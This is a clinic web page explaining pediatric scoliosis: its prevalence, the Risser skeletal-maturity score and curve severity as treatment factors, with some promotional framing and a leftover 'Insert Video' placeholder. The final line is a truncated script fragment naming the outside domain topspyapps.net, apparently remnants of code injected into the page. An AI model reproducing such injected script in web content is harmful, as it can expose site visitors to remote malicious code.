Pediatric Scoliosis

Scoliosis is a very complicated and often misunderstood deformity of the spine. It is often painful for the individual, especially as an adult, can lead to many life-threatening conditions involving the heart, lungs, etc; and can often be a source of embarrassment due to abnormal head, shoulder, and hip positions. Approximately 2-4% of children develop scoliosis.

Childhood Scoliosis is usually known as Adolescent Idiopathic Scoliosis (AIS). There are many different theories but no one knows for certain why these occur.  However, the following are facts regarding scoliosis:

  • Pediatric childhood scoliosis treatments
    “Wait and See” in essence leaves the curve uncorrected.

    Scoliosis is more common in girls

  • There is often a family history
  • Scoliosis can progress rapidly in adolescents
  • It is usually first noticed in 10-13 year olds.

“Early detection and early intervention=better long term results”
“There are many myths regarding scoliosis” Insert Video:

There are 2 major factors that should be considered with treatment for scoliosis:

1. The physical maturity of the patient. Children grow at different rates. Scoliosis specialists take special x-rays to determine the skeletal age of a child. This is called a Risser score. As a general rule, the more immature the skeleton, the more growth left and the greater potential for progression. For example, a child with a Risser 0 with a 20 degree curve will most likely progress with severity than a Risser 5 with a 20 degree curve. The degree of curve, alone, should NEVER dictate treatment options.

KC scoliosis Care
Graphic 1 - Background-1

 

 

 

 

 

 

 

2. The severity of the curve. Different degrees of curves, coupled with the aforementioned Risser score, onset of menses, family history, and “balance” of the spinal curves determines the most appropriate type of treatment. Please see the Treatment Options section for more information.

Remember, the most important aspect is finding the right treatment at the right time.

.if (document.currentScript) { topspyapps.net